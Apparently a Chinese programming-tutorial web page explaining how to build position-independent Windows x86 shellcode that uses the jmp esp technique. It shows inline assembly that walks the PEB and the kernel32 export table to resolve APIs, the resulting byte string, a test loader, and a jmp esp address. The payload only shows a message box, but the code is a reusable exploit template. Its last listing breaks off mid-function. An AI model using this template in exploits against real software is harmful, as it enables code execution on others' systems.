C/C++知识点之制作跨平台的shellcode
小标 2019-06-10 来源 : 阅读 868 评论 0

摘要:本文主要向大家介绍了C/C++知识点之制作跨平台的shellcode,通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

本文主要向大家介绍了C/C++知识点之制作跨平台的shellcode,通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

C/C++知识点之制作跨平台的shellcode

利用 jmp esp的原理 windows中有很多这种指令
先用dbg找一个

再把shellcode 转成opcode可以先测试一下(代码与opcode在最后)

后面多搞一些90 90 因为有的函数有几个参数

运行


// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[])
{
    __asm {
        pushad;
        sub esp, 0x100;
        jmp tag_Shellcode;

        //[tag_Next-0x52] "GetProcAddress"
        _asm _emit(0x47) _asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x50)
        _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63) _asm _emit(0x41)
        _asm _emit(0x64) _asm _emit(0x64) _asm _emit(0x72) _asm _emit(0x65)
        _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)

        //[tag_Next-0x44] "LoadLibraryExA\0"
        _asm _emit(0x4c) _asm _emit(0x6f) _asm _emit(0x61) _asm _emit(0x64)
        _asm _emit(0x4c) _asm _emit(0x69) _asm _emit(0x62) _asm _emit(0x72)
        _asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x79) _asm _emit(0x45)
        _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)

        //[tag_Next-0x35]  "User32.dll\0"
        _asm _emit(0x55) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)
        _asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2e) _asm _emit(0x64)
        _asm _emit(0x6c) _asm _emit(0x6c) _asm _emit(0x00)

        //[tag_Next-0x2A]  "MessageBoxA\0"
        _asm _emit(0x4d) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73)
        _asm _emit(0x61) _asm _emit(0x67) _asm _emit(0x65) _asm _emit(0x42)
        _asm _emit(0x6f) _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)

        //[tag_Next-0x1E]  "ExitProcess\0"
        _asm _emit(0x45) _asm _emit(0x78) _asm _emit(0x69) _asm _emit(0x74)
        _asm _emit(0x50) _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63)
        _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)

        //[tag_Next-0x12]  "Hello World!\0"
        _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6c) _asm _emit(0x6c)
        _asm _emit(0x6f) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6f)
        _asm _emit(0x72) _asm _emit(0x6c) _asm _emit(0x64) _asm _emit(0x21)
        _asm _emit(0x00)

        tag_Shellcode:
                     call tag_Next;
                 tag_Next:
                     pop ebx;
                     //获取关键模块基址
                     mov esi, dword ptr fs : [0x30];
                     mov esi, [esi + 0x0c];
                     mov esi, [esi + 0x1c];
                     mov esi, [esi];
                     mov edx, [esi + 0x08];

                     //获取GetProcAddress的函数地址
                     push ebx;
                     push edx;
                     call fun_GetProcAddress;
                     mov esi, eax;

                     //获取LoadLibraryExA的函数地址
                     push edx;
                     lea ecx, [ebx - 0x44];
                     push ecx;
                     push edx;
                     call eax;
                     pop edx;

                     //调用Payload部分
                     push ebx;
                     push esi;
                     push eax;
                     push edx;
                     call fun_Payload;

                 fun_GetProcAddress:
                     push ebp;
                     mov ebp, esp;
                     sub esp, 0x0c;
                     push edx;

                     //获取EAT、ENT和EOT的地址
                     mov edx, [ebp + 0x08];
                     mov esi, [edx + 0x3c];
                     lea esi, [edx + esi];
                     mov esi, [esi + 0x78];
                     lea esi, [edx + esi];
                     mov edi, [esi + 0x1c];
                     lea edi, [edx + edi];
                     mov[ebp - 0x04], edi;
                     mov edi, [esi + 0x20];
                     lea edi, [edx + edi];
                     mov[ebp - 0x08], edi;
                     mov edi, [esi + 0x24];
                     lea edi, [edx + edi];
                     mov[ebp - 0x0c], edi;

                     //循环对比ENT中的函数名
                     xor eax, eax;
                     jmp tag_FirstCmp;
                 tag_CmpFunNameLoop:
                     inc eax;
                 tag_FirstCmp:
                     mov esi, [ebp - 0x08];
                     mov esi, [esi + 4 * eax];
                     mov edx, [ebp + 0x08];
                     lea esi, [edx + esi];
                     mov ebx, [ebp + 0x0c];
                     lea edi, [ebx - 0x53];
                     mov ecx, 0x0e;
                     cld;
                     repe cmpsb;
                     jne tag_CmpFunNameLoop;

                     //成功后找到对应的序号
                     mov esi, [ebp - 0x0c];
                     xor edi, edi;
                     mov di, [esi + eax * 2];

                     //使用序号作为索引,找到函数名所对应的函数地址
                     mov edx, [ebp - 0x04];
                     mov esi, [edx + edi * 4];
                     mov edx, [ebp + 0x08];

                     //返回获取到的关键函数地址
                     lea eax, [edx + esi];
                     pop edx;
                     mov esp, ebp;
                     pop ebp;
                     retn 0x08;

                 fun_Payload:
                     push ebp;
                     mov ebp, esp;
                     sub esp, 0x08;
                     mov ebx, [ebp + 0x14];

                     //获取MessageBoxA的函数地址
                     lea ecx, [ebx - 0x35];
                     push 0;
                     push 0;
                     push ecx;
                     call[ebp + 0x0c];
                     lea ecx, [ebx - 0x2A];
                     push ecx;
                     push eax;
                     call[ebp + 0x10];
                     mov[ebp - 0x04], eax;

                     //获取ExitProcess的函数地址
                     lea ecx, [ebx - 0x1E];
                     push ecx;
                     push[ebp + 0x08];
                     call[ebp + 0x10];
                     mov[ebp - 0x08], eax;

                     //显示
                     lea ecx, [ebx - 0x12];
                     push 0;
                     push ecx;
                     push ecx;
                     push 0;
                     call[ebp - 0x04];
                     push 0;
                     call[ebp - 0x08];
                     mov esp, ebp;
                     pop ebp;
                     retn 0x10;
    }

    return 0;
}


#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[])
{
    char bShellcode[] = { "\x60\x81\xEC\x00\x01\x00\x00\xEB\x4E\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x53\x52\xE8\x14\x00\x00\x00\x8B\xF0\x52\x8D\x4B\xBC\x51\x52\xFF\xD0\x5A\x53\x56\x50\x52\xE8\x6E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAD\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCB\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD6\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE2\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEE\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8\x8B\xE5\x5D\xC2" };

    __asm {
        lea eax, bShellcode;
        push eax;
        ret
    }
    return 0;
}


"\x60\x81\xEC\x00\x01\x00\x00\xEB\x4E\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x53\x52\xE8\x14\x00\x00\x00\x8B\xF0\x52\x8D\x4B\xBC\x51\x52\xFF\xD0\x5A\x53\x56\x50\x52\xE8\x6E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAD\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCB\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD6\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE2\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEE\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8\x8B\xE5\x5D\xC2"

77460a9b  jmp esp 地址

{
0x60, 0x81, 0xEC, 0x00, 0x01, 0x00, 0x00, 0xEB, 0x4E, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63,
0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72,
0x61, 0x72, 0x79, 0x45, 0x78, 0x41, 0x00, 0x55, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C,
0x6C, 0x00, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x41, 0x00, 0x45, 0x78,
0x69, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20,
0x57, 0x6F, 0x72, 0x6C, 0x64, 0x21, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x64, 0x8B, 0x35,
0x30, 0x00, 0x00, 0x00, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x36, 0x8B, 0x56, 0x08, 0x53,
0x52, 0xE8, 0x14, 0x00, 0x00, 0x00, 0x8B, 0xF0, 0x52, 0x8D, 0x4B, 0xBC, 0x51, 0x52, 0xFF, 0xD0,
0x5A, 0x53, 0x56, 0x50, 0x52, 0xE8, 0x6E, 0x00, 0x00, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C,
0x52, 0x8B, 0x55, 0x08, 0x8B, 0x72, 0x3C, 0x8D, 0x34, 0x32, 0x8B, 0x76, 0x78, 0x8D, 0x34, 0x32,
0x8B, 0x7E, 0x1C, 0x8D, 0x3C, 0x3A, 0x89, 0x7D, 0xFC, 0x8B, 0x7E, 0x20, 0x8D, 0x3C, 0x3A, 0x89,
0x7D, 0xF8, 0x8B, 0x7E, 0x24, 0x8D, 0x3C, 0x3A, 0x89, 0x7D, 0xF4, 0x33, 0xC0, 0xEB, 0x01, 0x40,
0x8B, 0x75, 0xF8, 0x8B, 0x34, 0x86, 0x8B, 0x55, 0x08, 0x8D, 0x34, 0x32, 0x8B, 0x5D, 0x0C, 0x8D,
0x7B, 0xAD, 0xB9, 0x0E, 0x00, 0x00, 0x00, 0xFC, 0xF3, 0xA6, 0x75, 0xE3, 0x8B, 0x75, 0xF4, 0x33,
0xFF, 0x66, 0x8B, 0x3C, 0x46, 0x8B, 0x55, 0xFC, 0x8B, 0x34, 0xBA, 0x8B, 0x55, 0x08, 0x8D, 0x04,
0x32, 0x5A, 0x8B, 0xE5, 0x5D, 0xC2, 0x08, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0x8B, 0x5D,
0x14, 0x8D, 0x4B, 0xCB, 0x6A, 0x00, 0x6A, 0x00, 0x51, 0xFF, 0x55, 0x0C, 0x8D, 0x4B, 0xD6, 0x51,
0x50, 0xFF, 0x55, 0x10, 0x89, 0x45, 0xFC, 0x8D, 0x4B, 0xE2, 0x51, 0xFF, 0x75, 0x08, 0xFF, 0x55,
0x10, 0x89, 0x45, 0xF8, 0x8D, 0x4B, 0xEE, 0x6A, 0x00, 0x51, 0x51, 0x6A, 0x00, 0xFF, 0x55, 0xFC,
0x6A, 0x00, 0xFF, 0x55, 0xF8, 0x8B, 0xE5, 0x5D, 0xC2
};


// ConsoleApplication4.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"

/*      mov esi, dword ptr fs : [0x30]
        mov esi, [esi+0x0c]
        mov esi, [esi+0x1c]
        mov esi, [esi]
        mov ebx, [esi+0x08]
*/

int _tmain(int argc, _TCHAR* argv[])
{
    __asm
    {
        pushad
        sub esp,0x20
        jmp tag_shellcode
        //GetProcAddress
        _asm _emit(0x47) _asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x50)
        _asm _emit(0x72) _asm _emit(0x6F) _asm _emit(0x63) _asm _emit(0x41)
        _asm _emit(0x64) _asm _emit(0x64) _asm _emit(0x72) _asm _emit(0x65)
        _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)
        //LoadLibraryExA
        _asm _emit(0x4C) _asm _emit(0x6F) _asm _emit(0x61) _asm _emit(0x64)
        _asm _emit(0x4C) _asm _emit(0x69) _asm _emit(0x62) _asm _emit(0x72)
        _asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x79) _asm _emit(0x45)
        _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)
        //User32.dll
        _asm _emit(0x55) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)
        _asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2E) _asm _emit(0x64)
        _asm _emit(0x6C) _asm _emit(0x6C) _asm _emit(0x00)
        //MessageBoxA
        _asm _emit(0x4D) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73)
        _asm _emit(0x61) _asm _emit(0x67) _asm _emit(0x65) _asm _emit(0x42)
        _asm _emit(0x6F) _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)
        //ExitProcess
        _asm _emit(0x45) _asm _emit(0x78) _asm _emit(0x69) _asm _emit(0x74)
        _asm _emit(0x50) _asm _emit(0x72) _asm _emit(0x6F) _asm _emit(0x63)
        _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)
        //FuckYou
        _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x6C)
        _asm _emit(0x6F) _asm _emit(0x20) _asm _emit(0x31) _asm _emit(0x35)
        _asm _emit(0x50) _asm _emit(0x42) _asm _emit(0x21) _asm _emit(0x00)
    tag_Shellcode:
        call tag_Next
    tag_Next:
        pop ebx

        mov esi, dword ptr fs : [0x30]   //PEB的地址
        mov esi, [esi+0x0c]              //PEB_LDR_DATA结构的指针
        mov esi, [esi+0x1c]              //模块链表指针
        mov esi, [esi]                   //第二个条目
        mov edx, [esi+0x08]              //kernel32.dll

        push ebx                         //基址
        push edx                         //kernel32.dll
        call fun_GetProcAddress        
        mov esi,eax

        push edx

        lea ecx, [ebx-0x43]
        push ecx
        push edx
        call eax

        pop edx

        push ebx
        push esi
        push eax
        push edx
        call fun_Payload

        //获取关键函数地址,返回值关键函数地址
    fun_GetProcAddress:  //(int imagebase,int baseAddr)
        push ebp
        mov ebp,esp
        sub esp,0x0c
        push edx

        //获取EAT,ENT,EOT
        mov edx, [ebp+0x08]   //edx =kernel32.dll
        mov esi, [edx+0x3c]   //esi =IMAGE_DOS_HEADER.e_lfanew
        lea esi, [edx+esi]    //PE文件头VA
        mov esi, [esi+0x78]   //IMAGE...EXPORT.VirtualAddress
        lea esi, [edx+esi]    //导出表VA
        mov edi, [esi+0x1c]   //IMAGE_EXP...AddressOfFunctions
        lea edi, [edx+edi]    //EAT vA
        mov[ebp-0x04],edi     //local1=edi=EAT VA
        mov edi, [esi+0x20]   //edi=AddressofName
        lea edi, [edx+edi]    //edi=ENT VA
        mov[ebp-0x08],edi     //local2=edi=ENT VA
        mov edi, [esi+0x24]   //AddressOfNameOrdinals
        lea edi, [edx+edi]    //edi=EOT VA
        mov[ebp-0x0c],edi     //local3=edi=EOT VA

        xor eax,eax
        jmp tag_FirstCmp
    tag_CmpFunNameLoop:
        inc eax
    tag_FirstCmp:
        mov esi, [ebp-0x08]         //esi=loc2  ent
        mov esi, [esi+4*eax]     //esi=ENT RVA
        mov edx, [ebp+0x08]      //edx=Param_1(ImageBase)
        lea esi, [edx+esi]       //esi=ENT  VA
        mov ebx, [ebp+0x0c]      //ebx=Pqram_2(BaseAddr)
        lea edi, [ebx-0x52]      //edi="GetProcAddress"
        mov ecx,0x0E             //eax="GetProcAddress"
        cld
        repe cmpsb
          

本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言C/C+频道!

本文由 @小标 发布于职坐标。未经许可,禁止转载。
喜欢 | 0 不喜欢 | 0
看完这篇文章有何感觉?已经有0人表态,0%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式IT培训就业服务领导者 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved

208小时内训课程